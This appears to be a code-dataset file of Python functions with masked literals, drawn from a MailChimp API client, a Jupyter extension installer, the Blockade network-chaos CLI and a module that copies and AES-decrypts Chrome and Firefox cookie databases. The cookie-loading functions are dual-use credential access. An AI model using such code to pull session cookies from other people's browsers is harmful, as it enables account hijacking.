data['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if not data['<STR_LIT>']['<STR_LIT>'] in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>response = self._mc_client._post(url=self._build_path(), data=data)<EOL>if response is not None:<EOL><INDENT>self.campaign_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.campaign_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Create a new MailChimp campaign.\n\nThe ValueError raised by an invalid type in data does not mention\n'absplit' as a potential value because the documentation indicates\nthat the absplit type has been deprecated.\n\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"recipients\": object*\n    {\n        \"list_id\": string*\n    },\n    \"settings\": object*\n    {\n        \"subject_line\": string*,\n        \"from_name\": string*,\n        \"reply_to\": string*\n    },\n    \"variate_settings\": object* (Required if type is \"variate\")\n    {\n        \"winner_criteria\": string* (Must be one of \"opens\", \"clicks\", \"total_revenue\", or \"manual\")\n    },\n    \"rss_opts\": object* (Required if type is \"rss\")\n    {\n        \"feed_url\": string*,\n        \"frequency\": string* (Must be one of \"daily\", \"weekly\", or \"monthly\")\n    },\n    \"type\": string* (Must be one of \"regular\", \"plaintext\", \"rss\", \"variate\", or \"absplit\")\n}", "id": "f315:c0:m1"}
{"signature": "def all(self, get_all=False, **queryparams):", "body": "self.campaign_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(), **queryparams)<EOL><DEDENT>", "docstring": "Get all campaigns in an account.\n\n.. note::\n    The before_create_time, since_create_time, before_send_time, and\n    since_send_time queryparams expect times to be listed in the ISO\n    8601 format in UTC (ex. 2015-10-21T15:41:36+00:00).\n\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer\nqueryparams['type'] = []\nqueryparams['status'] = []\nqueryparams['before_send_time'] = string\nqueryparams['since_send_time'] = string\nqueryparams['before_create_time'] = string\nqueryparams['since_create_time'] = string\nqueryparams['list_id'] = string\nqueryparams['folder_id'] = string\nqueryparams['sort_field'] = string\nqueryparams['sort_dir'] = string", "id": "f315:c0:m2"}
{"signature": "def get(self, campaign_id, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>return self._mc_client._get(url=self._build_path(campaign_id), **queryparams)<EOL>", "docstring": "Get information about a specific campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['sort_field'] = string\nqueryparams['create_time'] = string", "id": "f315:c0:m3"}
{"signature": "def update(self, campaign_id, data):", "body": "self.campaign_id = campaign_id<EOL>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>check_email(data['<STR_LIT>']['<STR_LIT>'])<EOL>return self._mc_client._patch(url=self._build_path(campaign_id), data=data)<EOL>", "docstring": "Update some or all of the settings for a specific campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"settings\": object*\n    {\n        \"subject_line\": string*,\n        \"from_name\": string*,\n        \"reply_to\": string*\n    },\n}", "id": "f315:c0:m4"}
{"signature": "def delete(self, campaign_id):", "body": "self.campaign_id = campaign_id<EOL>return self._mc_client._delete(url=self._build_path(campaign_id))<EOL>", "docstring": "Remove a campaign from your MailChimp account.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`", "id": "f315:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(AutomationRemovedSubscribers, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.workflow_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f316:c0:m0"}
{"signature": "def create(self, workflow_id, data):", "body": "self.workflow_id = workflow_id<EOL>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>check_email(data['<STR_LIT>'])<EOL>return self._mc_client._post(url=self._build_path(workflow_id, '<STR_LIT>'), data=data)<EOL>", "docstring": "Remove a subscriber from a specific Automation workflow. You can\nremove a subscriber at any point in an Automation workflow, regardless\nof how many emails they\u2019ve been sent from that workflow. Once they\u2019re\nremoved, they can never be added back to the same workflow.\n\n:param workflow_id: The unique id for the Automation workflow.\n:type workflow_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"email_address\": string*\n}", "id": "f316:c0:m1"}
{"signature": "def all(self, workflow_id):", "body": "self.workflow_id = workflow_id<EOL>return self._mc_client._get(url=self._build_path(workflow_id, '<STR_LIT>'))<EOL>", "docstring": "Get information about subscribers who were removed from an Automation\nworkflow.\n\n:param workflow_id: The unique id for the Automation workflow.\n:type workflow_id: :py:class:`str`", "id": "f316:c0:m2"}
{"signature": "def __init__(self, mc_api=None, mc_user='<STR_LIT>', access_token=None, enabled=True, timeout=None,<EOL>request_hooks=None, request_headers=None):", "body": "super(MailChimpClient, self).__init__()<EOL>self.enabled = enabled<EOL>self.timeout = timeout<EOL>if access_token:<EOL><INDENT>self.auth = MailChimpOAuth(access_token)<EOL>self.base_url = self.auth.get_base_url() + '<STR_LIT>'<EOL><DEDENT>elif mc_api:<EOL><INDENT>if not re.match(r\"<STR_LIT>\", mc_api.split('<STR_LIT:->')[<NUM_LIT:0>]):<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>self.auth = HTTPBasicAuth(mc_user, mc_api)<EOL>datacenter = mc_api.split('<STR_LIT:->').pop()<EOL>self.base_url = '<STR_LIT>'.format(datacenter)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>self.request_headers = request_headers or requests.utils.default_headers()<EOL>self.request_hooks = request_hooks or requests.hooks.default_hooks()<EOL>", "docstring": "Initialize the class with your optional user_id and required api_key.\n\nIf `enabled` is not True, these methods become no-ops. This is\nparticularly useful for testing or disabling with configuration.\n\n:param mc_api: Mailchimp API key\n:type mc_api: :py:class:`str`\n:param mc_user: Mailchimp user id\n:type mc_user: :py:class:`str`\n:param access_token: The OAuth access token\n:type access_token: :py:class:`str`\n:param enabled: Whether the API should execute any requests\n:type enabled: :py:class:`bool`\n:param timeout: (optional) How long to wait for the server to send\n    data before giving up, as a float, or a :ref:`(connect timeout,\n    read timeout) <timeouts>` tuple.\n:type timeout: float or tuple\n:param request_hooks: (optional) Hooks for :py:func:`requests.requests`.\n:type request_hooks: :py:class:`dict`\n:param request_headers: (optional) Headers for\n    :py:func:`requests.requests`.\n:type request_headers: :py:class:`dict`", "id": "f317:c1:m0"}
{"signature": "@_enabled_or_noop<EOL><INDENT>def _post(self, url, data=None):<DEDENT>", "body": "url = urljoin(self.base_url, url)<EOL>try:<EOL><INDENT>r = self._make_request(**dict(<EOL>method='<STR_LIT:POST>',<EOL>url=url,<EOL>json=data,<EOL>auth=self.auth,<EOL>timeout=self.timeout,<EOL>hooks=self.request_hooks,<EOL>headers=self.request_headers<EOL>))<EOL><DEDENT>except requests.exceptions.RequestException as e:<EOL><INDENT>raise e<EOL><DEDENT>else:<EOL><INDENT>if r.status_code >= <NUM_LIT>:<EOL><INDENT>try:<EOL><INDENT>error_data = r.json()<EOL><DEDENT>except ValueError:<EOL><INDENT>error_data = { \"<STR_LIT>\": r }<EOL><DEDENT>raise MailChimpError(error_data)<EOL><DEDENT>if r.status_code == <NUM_LIT>:<EOL><INDENT>return None<EOL><DEDENT>return r.json()<EOL><DEDENT>", "docstring": "Handle authenticated POST requests\n\n:param url: The url for the endpoint including path parameters\n:type url: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:data:`none` or :py:class:`dict`\n:returns: The JSON output from the API or an error message", "id": "f317:c1:m2"}
{"signature": "@_enabled_or_noop<EOL><INDENT>def _get(self, url, **queryparams):<DEDENT>", "body": "url = urljoin(self.base_url, url)<EOL>if len(queryparams):<EOL><INDENT>url += '<STR_LIT:?>' + urlencode(queryparams)<EOL><DEDENT>try:<EOL><INDENT>r = self._make_request(**dict(<EOL>method='<STR_LIT:GET>',<EOL>url=url,<EOL>auth=self.auth,<EOL>timeout=self.timeout,<EOL>hooks=self.request_hooks,<EOL>headers=self.request_headers<EOL>))<EOL><DEDENT>except requests.exceptions.RequestException as e:<EOL><INDENT>raise e<EOL><DEDENT>else:<EOL><INDENT>if r.status_code >= <NUM_LIT>:<EOL><INDENT>raise MailChimpError(r.json())<EOL><DEDENT>return r.json()<EOL><DEDENT>", "docstring": "Handle authenticated GET requests\n\n:param url: The url for the endpoint including path parameters\n:type url: :py:class:`str`\n:param queryparams: The query string parameters\n:returns: The JSON output from the API", "id": "f317:c1:m3"}
{"signature": "@_enabled_or_noop<EOL><INDENT>def _delete(self, url):<DEDENT>", "body": "url = urljoin(self.base_url, url)<EOL>try:<EOL><INDENT>r = self._make_request(**dict(<EOL>method='<STR_LIT>',<EOL>url=url,<EOL>auth=self.auth,<EOL>timeout=self.timeout,<EOL>hooks=self.request_hooks,<EOL>headers=self.request_headers<EOL>))<EOL><DEDENT>except requests.exceptions.RequestException as e:<EOL><INDENT>raise e<EOL><DEDENT>else:<EOL><INDENT>if r.status_code >= <NUM_LIT>:<EOL><INDENT>raise MailChimpError(r.json())<EOL><DEDENT>if r.status_code == <NUM_LIT>:<EOL><INDENT>return<EOL><DEDENT>return r.json()<EOL><DEDENT>", "docstring": "Handle authenticated DELETE requests\n\n:param url: The url for the endpoint including path parameters\n:type url: :py:class:`str`\n:returns: The JSON output from the API", "id": "f317:c1:m4"}
{"signature": "@_enabled_or_noop<EOL><INDENT>def _patch(self, url, data=None):<DEDENT>", "body": "url = urljoin(self.base_url, url)<EOL>try:<EOL><INDENT>r = self._make_request(**dict(<EOL>method='<STR_LIT>',<EOL>url=url,<EOL>json=data,<EOL>auth=self.auth,<EOL>timeout=self.timeout,<EOL>hooks=self.request_hooks,<EOL>headers=self.request_headers<EOL>))<EOL><DEDENT>except requests.exceptions.RequestException as e:<EOL><INDENT>raise e<EOL><DEDENT>else:<EOL><INDENT>if r.status_code >= <NUM_LIT>:<EOL><INDENT>raise MailChimpError(r.json())<EOL><DEDENT>return r.json()<EOL><DEDENT>", "docstring": "Handle authenticated PATCH requests\n\n:param url: The url for the endpoint including path parameters\n:type url: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:data:`none` or :py:class:`dict`\n:returns: The JSON output from the API", "id": "f317:c1:m5"}
{"signature": "@_enabled_or_noop<EOL><INDENT>def _put(self, url, data=None):<DEDENT>", "body": "url = urljoin(self.base_url, url)<EOL>try:<EOL><INDENT>r = self._make_request(**dict(<EOL>method='<STR_LIT>',<EOL>url=url,<EOL>json=data,<EOL>auth=self.auth,<EOL>timeout=self.timeout,<EOL>hooks=self.request_hooks,<EOL>headers=self.request_headers<EOL>))<EOL><DEDENT>except requests.exceptions.RequestException as e:<EOL><INDENT>raise e<EOL><DEDENT>else:<EOL><INDENT>if r.status_code >= <NUM_LIT>:<EOL><INDENT>try:<EOL><INDENT>error_data = r.json()<EOL><DEDENT>except ValueError:<EOL><INDENT>error_data = { \"<STR_LIT>\": r }<EOL><DEDENT>raise MailChimpError(error_data)<EOL><DEDENT>return r.json()<EOL><DEDENT>", "docstring": "Handle authenticated PUT requests\n\n:param url: The url for the endpoint including path parameters\n:type url: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:data:`none` or :py:class:`dict`\n:returns: The JSON output from the API", "id": "f317:c1:m6"}
{"signature": "def __init__(self, access_token):", "body": "self._access_token = access_token<EOL>", "docstring": "Initialize the OAuth and save the access token\n\n:param access_token: The access token provided by OAuth authentication\n:type access_token: :py:class:`str`", "id": "f317:c2:m0"}
{"signature": "def __call__(self, r):", "body": "r.headers['<STR_LIT>'] = '<STR_LIT>' + self._access_token<EOL>return r<EOL>", "docstring": "Authorize with the access token provided in __init__", "id": "f317:c2:m1"}
{"signature": "def get_metadata(self):", "body": "try:<EOL><INDENT>r = requests.get('<STR_LIT>', auth=self)<EOL><DEDENT>except requests.exceptions.RequestException as e:<EOL><INDENT>raise e<EOL><DEDENT>else:<EOL><INDENT>r.raise_for_status()<EOL>output = r.json()<EOL>if '<STR_LIT:error>' in output:<EOL><INDENT>raise requests.exceptions.RequestException(output['<STR_LIT:error>'])<EOL><DEDENT>return output<EOL><DEDENT>", "docstring": "Get the metadata returned after authentication", "id": "f317:c2:m2"}
{"signature": "def get_base_url(self):", "body": "try:<EOL><INDENT>return self.get_metadata()['<STR_LIT>']<EOL><DEDENT>except requests.exceptions.RequestException:<EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Get the base_url from the authentication metadata", "id": "f317:c2:m3"}
{"signature": "def create_local_copy(cookie_file):", "body": "<EOL>if isinstance(cookie_file, list):<EOL><INDENT>cookie_file = cookie_file[<NUM_LIT:0>]<EOL><DEDENT>if os.path.exists(cookie_file):<EOL><INDENT>tmp_cookie_file = tempfile.NamedTemporaryFile(suffix='<STR_LIT>').name<EOL>open(tmp_cookie_file, '<STR_LIT:wb>').write(open(cookie_file, '<STR_LIT:rb>').read())<EOL>return tmp_cookie_file<EOL><DEDENT>else:<EOL><INDENT>raise BrowserCookieError('<STR_LIT>' + cookie_file)<EOL><DEDENT>", "docstring": "Make a local copy of the sqlite cookie database and return the new filename.\n    This is necessary in case this database is still being written to while the user browses\n    to avoid sqlite locking errors.", "id": "f320:m0"}
{"signature": "def create_cookie(host, path, secure, expires, name, value):", "body": "return http.cookiejar.Cookie(<NUM_LIT:0>, name, value, None, False, host, host.startswith('<STR_LIT:.>'), host.startswith('<STR_LIT:.>'), path,<EOL>True, secure, expires, False, None, None, {})<EOL>", "docstring": "Shortcut function to create a cookie", "id": "f320:m3"}
{"signature": "def chrome(cookie_file=None, domain_name=\"<STR_LIT>\"):", "body": "return Chrome(cookie_file, domain_name).load()<EOL>", "docstring": "Returns a cookiejar of the cookies used by Chrome. Optionally pass in a\n    domain name to only load cookies from the specified domain", "id": "f320:m4"}
{"signature": "def firefox(cookie_file=None, domain_name=\"<STR_LIT>\"):", "body": "return Firefox(cookie_file, domain_name).load()<EOL>", "docstring": "Returns a cookiejar of the cookies and sessions used by Firefox. Optionally\n    pass in a domain name to only load cookies from the specified domain", "id": "f320:m5"}
{"signature": "def load(domain_name=\"<STR_LIT>\"):", "body": "cj = http.cookiejar.CookieJar()<EOL>for cookie_fn in [chrome, firefox]:<EOL><INDENT>try:<EOL><INDENT>for cookie in cookie_fn(domain_name=domain_name):<EOL><INDENT>cj.set_cookie(cookie)<EOL><DEDENT><DEDENT>except BrowserCookieError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return cj<EOL>", "docstring": "Try to load cookies from all supported browsers and return combined cookiejar\n    Optionally pass in a domain name to only load cookies from the specified domain", "id": "f320:m6"}
{"signature": "def load(self):", "body": "con = sqlite3.connect(self.tmp_cookie_file)<EOL>cur = con.cursor()<EOL>try:<EOL><INDENT>cur.execute('<STR_LIT>'<EOL>'<STR_LIT>'.format(self.domain_name))<EOL><DEDENT>except sqlite3.OperationalError:<EOL><INDENT>cur.execute('<STR_LIT>'<EOL>'<STR_LIT>'.format(self.domain_name))<EOL><DEDENT>cj = http.cookiejar.CookieJar()<EOL>for item in cur.fetchall():<EOL><INDENT>host, path, secure, expires, name = item[:<NUM_LIT:5>]<EOL>value = self._decrypt(item[<NUM_LIT:5>], item[<NUM_LIT:6>])<EOL>c = create_cookie(host, path, secure, expires, name, value)<EOL>cj.set_cookie(c)<EOL><DEDENT>con.close()<EOL>return cj<EOL>", "docstring": "Load sqlite cookies into a cookiejar", "id": "f320:c1:m3"}
{"signature": "def _decrypt(self, value, encrypted_value):", "body": "if sys.platform == '<STR_LIT:win32>':<EOL><INDENT>return self._decrypt_windows_chrome(value, encrypted_value)<EOL><DEDENT>if value or (encrypted_value[:<NUM_LIT:3>] != b'<STR_LIT>'):<EOL><INDENT>return value<EOL><DEDENT>encrypted_value = encrypted_value[<NUM_LIT:3>:]<EOL>encrypted_value_half_len = int(len(encrypted_value) / <NUM_LIT:2>)<EOL>cipher = pyaes.Decrypter(pyaes.AESModeOfOperationCBC(self.key, self.iv))<EOL>decrypted = cipher.feed(encrypted_value[:encrypted_value_half_len])<EOL>decrypted += cipher.feed(encrypted_value[encrypted_value_half_len:])<EOL>decrypted += cipher.feed()<EOL>return decrypted.decode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Decrypt encoded cookies", "id": "f320:c1:m5"}
{"signature": "def _is_root():", "body": "import os<EOL>import ctypes<EOL>try:<EOL><INDENT>return os.geteuid() == <NUM_LIT:0><EOL><DEDENT>except AttributeError:<EOL><INDENT>return ctypes.windll.shell32.IsUserAnAdmin() != <NUM_LIT:0><EOL><DEDENT>return False<EOL>", "docstring": "Checks if the user is rooted.", "id": "f322:m0"}
{"signature": "def cmdclass(path, enable=None, user=None):", "body": "import warnings<EOL>from setuptools.command.install import install<EOL>from setuptools.command.develop import develop<EOL>from os.path import dirname, join, exists, realpath<EOL>from traceback import extract_stack<EOL>try:<EOL><INDENT>from notebook.nbextensions import install_nbextension<EOL>from notebook.services.config import ConfigManager<EOL><DEDENT>except ImportError:<EOL><INDENT>try:<EOL><INDENT>from IPython.html.nbextensions import install_nbextension<EOL>from IPython.html.services.config import ConfigManager<EOL><DEDENT>except ImportError:<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>return {}<EOL><DEDENT><DEDENT>if user is None:<EOL><INDENT>user = not _is_root()<EOL><DEDENT>calling_file = extract_stack()[-<NUM_LIT:2>][<NUM_LIT:0>]<EOL>fullpath = realpath(calling_file)<EOL>if not exists(fullpath):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>extension_dir = join(dirname(fullpath), path)<EOL>def run_nbextension_install(develop):<EOL><INDENT>import sys<EOL>sysprefix = hasattr(sys, '<STR_LIT>')<EOL>if sysprefix:<EOL><INDENT>install_nbextension(<EOL>extension_dir, symlink=develop, sys_prefix=sysprefix)<EOL><DEDENT>else:<EOL><INDENT>install_nbextension(extension_dir, symlink=develop, user=user)<EOL><DEDENT>if enable is not None:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>cm = ConfigManager()<EOL>cm.update('<STR_LIT>', {\"<STR_LIT>\": {enable: True}})<EOL><DEDENT><DEDENT>class InstallCommand(install):<EOL><INDENT>def run(self):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>install.run(self)<EOL>print(\"<STR_LIT>\")<EOL>run_nbextension_install(False)<EOL><DEDENT><DEDENT>class DevelopCommand(develop):<EOL><INDENT>def run(self):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>develop.run(self)<EOL>print(\"<STR_LIT>\")<EOL>run_nbextension_install(True)<EOL><DEDENT><DEDENT>return {<EOL>'<STR_LIT>': InstallCommand,<EOL>'<STR_LIT>': DevelopCommand,<EOL>}<EOL>", "docstring": "Build nbextension cmdclass dict for the setuptools.setup method.\n\n    Parameters\n    ----------\n    path: str\n        Directory relative to the setup file that the nbextension code\n        lives in.\n    enable: [str=None]\n        Extension to \"enable\".  Enabling an extension causes it to be loaded\n        automatically by the IPython notebook.\n    user: [bool=None]\n        Whether or not the nbextension should be installed in user mode.\n        If this is undefined, the script will install as user mode IF the\n        installer is not sudo.\n\n    Usage\n    -----\n    For automatic loading:\n    # Assuming `./extension` is the relative path to the JS files and\n    # `./extension/main.js` is the file that you want automatically loaded.\n    setup(\n        name='extension',\n        ...\n        cmdclass=cmdclass('extension', 'extension/main'),\n    )\n\n    For manual loading:\n    # Assuming `./extension` is the relative path to the JS files.\n    setup(\n        name='extension',\n        ...\n        cmdclass=cmdclass('extension'),\n    )", "id": "f322:m1"}
{"signature": "def dependency_sorted(containers):", "body": "if not isinstance(containers, collections.Mapping):<EOL><INDENT>containers = dict((c.name, c) for c in containers)<EOL><DEDENT>container_links = dict((name, set(c.links.keys()))<EOL>for name, c in containers.items())<EOL>sorted_names = _resolve(container_links)<EOL>return [containers[name] for name in sorted_names]<EOL>", "docstring": "Sort a dictionary or list of containers into dependency order\n\n    Returns a sequence", "id": "f325:m2"}
{"signature": "@staticmethod<EOL><INDENT>def from_dict(name, values):<DEDENT>", "body": "<EOL>count = <NUM_LIT:1><EOL>count_value = values.get('<STR_LIT:count>', <NUM_LIT:1>)<EOL>if isinstance(count_value, int):<EOL><INDENT>count = max(count_value, <NUM_LIT:1>)<EOL><DEDENT>def with_index(name, idx):<EOL><INDENT>if name and idx:<EOL><INDENT>return '<STR_LIT>' % (name, idx)<EOL><DEDENT>return name<EOL><DEDENT>def get_instance(n, idx=None):<EOL><INDENT>return BlockadeContainerConfig(<EOL>with_index(n, idx),<EOL>values['<STR_LIT:image>'],<EOL>command=values.get('<STR_LIT>'),<EOL>links=values.get('<STR_LIT>'),<EOL>volumes=values.get('<STR_LIT>'),<EOL>publish_ports=values.get('<STR_LIT>'),<EOL>expose_ports=values.get('<STR_LIT>'),<EOL>environment=values.get('<STR_LIT>'),<EOL>hostname=values.get('<STR_LIT>'),<EOL>dns=values.get('<STR_LIT>'),<EOL>start_delay=values.get('<STR_LIT>', <NUM_LIT:0>),<EOL>neutral=values.get('<STR_LIT>', False),<EOL>holy=values.get('<STR_LIT>', False),<EOL>container_name=with_index(values.get('<STR_LIT>'), idx),<EOL>cap_add=values.get('<STR_LIT>'))<EOL><DEDENT>if count == <NUM_LIT:1>:<EOL><INDENT>yield get_instance(name)<EOL><DEDENT>else:<EOL><INDENT>for idx in range(<NUM_LIT:1>, count+<NUM_LIT:1>):<EOL><INDENT>yield get_instance(name, idx)<EOL><DEDENT><DEDENT>", "docstring": "Convert a dictionary of configuration values\ninto a sequence of BlockadeContainerConfig instances", "id": "f325:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def from_dict(values):<DEDENT>", "body": "try:<EOL><INDENT>containers = values['<STR_LIT>']<EOL>parsed_containers = {}<EOL>for name, container_dict in containers.items():<EOL><INDENT>try:<EOL><INDENT>for cnt in BlockadeContainerConfig.from_dict(name, container_dict):<EOL><INDENT>if cnt.container_name:<EOL><INDENT>cname = cnt.container_name<EOL>existing = [c for c in parsed_containers.values() if c.container_name == cname]<EOL>if existing:<EOL><INDENT>raise BlockadeConfigError(\"<STR_LIT>\" % (cname))<EOL><DEDENT><DEDENT>parsed_containers[cnt.name] = cnt<EOL><DEDENT><DEDENT>except Exception as err:<EOL><INDENT>raise BlockadeConfigError(<EOL>\"<STR_LIT>\" % (name, err))<EOL><DEDENT><DEDENT>network = values.get('<STR_LIT>')<EOL>if network:<EOL><INDENT>defaults = _DEFAULT_NETWORK_CONFIG.copy()<EOL>defaults.update(network)<EOL>network = defaults<EOL><DEDENT>else:<EOL><INDENT>network = _DEFAULT_NETWORK_CONFIG.copy()<EOL><DEDENT>return BlockadeConfig(parsed_containers, network=network)<EOL><DEDENT>except KeyError as err:<EOL><INDENT>raise BlockadeConfigError(\"<STR_LIT>\" + str(err))<EOL><DEDENT>except Exception as err:<EOL><INDENT>raise BlockadeConfigError(\"<STR_LIT>\" + str(err))<EOL><DEDENT>", "docstring": "Instantiate a BlockadeConfig instance based on\na given dictionary of configuration values", "id": "f325:c1:m0"}
{"signature": "def wait_for_children():", "body": "wait(lambda: len(multiprocessing.active_children()) == <NUM_LIT:0>)<EOL>", "docstring": "Wait for child processes to exit\n\n    The testing system launches and terminates child processes, but\n    doesn't wait for them to actually die. So in a few places we need\n    this extra call", "id": "f338:m0"}
{"signature": "def cmd_up(opts):", "body": "config = load_config(opts.config)<EOL>b = get_blockade(config, opts)<EOL>containers = b.create(verbose=opts.verbose, force=opts.force)<EOL>print_containers(containers, opts.json)<EOL>", "docstring": "Start the containers and link them together", "id": "f342:m7"}
{"signature": "def cmd_destroy(opts):", "body": "config = load_config(opts.config)<EOL>b = get_blockade(config, opts)<EOL>b.destroy()<EOL>", "docstring": "Destroy all containers and restore networks", "id": "f342:m8"}
{"signature": "def cmd_status(opts):", "body": "config = load_config(opts.config)<EOL>b = get_blockade(config, opts)<EOL>containers = b.status()<EOL>print_containers(containers, opts.json)<EOL>", "docstring": "Print status of containers and networks", "id": "f342:m9"}
{"signature": "def cmd_start(opts):", "body": "__with_containers(opts, Blockade.start)<EOL>", "docstring": "Start some or all containers", "id": "f342:m11"}
{"signature": "def cmd_kill(opts):", "body": "kill_signal = opts.signal if hasattr(opts, '<STR_LIT>') else \"<STR_LIT>\"<EOL>__with_containers(opts, Blockade.kill, signal=kill_signal)<EOL>", "docstring": "Kill some or all containers", "id": "f342:m12"}
{"signature": "def cmd_stop(opts):", "body": "__with_containers(opts, Blockade.stop)<EOL>", "docstring": "Stop some or all containers", "id": "f342:m13"}
{"signature": "def cmd_restart(opts):", "body": "__with_containers(opts, Blockade.restart)<EOL>", "docstring": "Restart some or all containers", "id": "f342:m14"}
{"signature": "def cmd_flaky(opts):", "body": "__with_containers(opts, Blockade.flaky)<EOL>", "docstring": "Make the network flaky for some or all containers", "id": "f342:m15"}
{"signature": "def cmd_slow(opts):", "body": "__with_containers(opts, Blockade.slow)<EOL>", "docstring": "Make the network slow for some or all containers", "id": "f342:m16"}
{"signature": "def cmd_fast(opts):", "body": "__with_containers(opts, Blockade.fast)<EOL>", "docstring": "Restore network speed and reliability for some or all containers", "id": "f342:m17"}
{"signature": "def cmd_duplicate(opts):", "body": "__with_containers(opts, Blockade.duplicate)<EOL>", "docstring": "Introduce packet duplication into the network of some or all containers", "id": "f342:m18"}
{"signature": "def cmd_partition(opts):", "body": "config = load_config(opts.config)<EOL>b = get_blockade(config, opts)<EOL>if opts.random:<EOL><INDENT>if opts.partitions:<EOL><INDENT>raise BlockadeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>b.random_partition()<EOL><DEDENT>else:<EOL><INDENT>partitions = []<EOL>for partition in opts.partitions:<EOL><INDENT>names = []<EOL>for name in partition.split(\"<STR_LIT:U+002C>\"):<EOL><INDENT>name = name.strip()<EOL>if name:<EOL><INDENT>names.append(name)<EOL><DEDENT><DEDENT>partitions.append(names)<EOL><DEDENT>if not partitions:<EOL><INDENT>raise BlockadeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>b.partition(partitions)<EOL><DEDENT>", "docstring": "Partition the network between containers\n\n    Replaces any existing partitions outright. Any containers NOT specified\n    in arguments will be globbed into a single implicit partition. For\n    example if you have three containers: c1, c2, and c3 and you run:\n\n        blockade partition c1\n\n    The result will be a partition with just c1 and another partition with\n    c2 and c3.\n\n    Alternatively, --random may be specified, and zero or more random\n    partitions will be generated by blockade.", "id": "f342:m20"}
{"signature": "def cmd_join(opts):", "body": "config = load_config(opts.config)<EOL>b = get_blockade(config, opts)<EOL>b.join()<EOL>", "docstring": "Restore full networking between containers", "id": "f342:m21"}
{"signature": "def cmd_logs(opts):", "body": "config = load_config(opts.config)<EOL>b = get_blockade(config, opts)<EOL>puts(b.logs(opts.container).decode(encoding='<STR_LIT>'))<EOL>", "docstring": "Fetch the logs of a container", "id": "f342:m22"}
{"signature": "def cmd_daemon(opts):", "body": "if opts.data_dir is None:<EOL><INDENT>raise BlockadeError(\"<STR_LIT>\")<EOL><DEDENT>rest.start(data_dir=opts.data_dir, port=opts.port, debug=opts.debug,<EOL>host_exec=get_host_exec())<EOL>", "docstring": "Start the Blockade REST API", "id": "f342:m23"}
{"signature": "def cmd_add(opts):", "body": "config = load_config(opts.config)<EOL>b = get_blockade(config, opts)<EOL>b.add_container(opts.containers)<EOL>", "docstring": "Add one or more existing Docker containers to a Blockade group", "id": "f342:m24"}
{"signature": "def cmd_version(opts):", "body": "import blockade.version<EOL>puts(\"<STR_LIT>\" + blockade.version.__version__)<EOL>", "docstring": "Show the Blockade version information", "id": "f342:m25"}
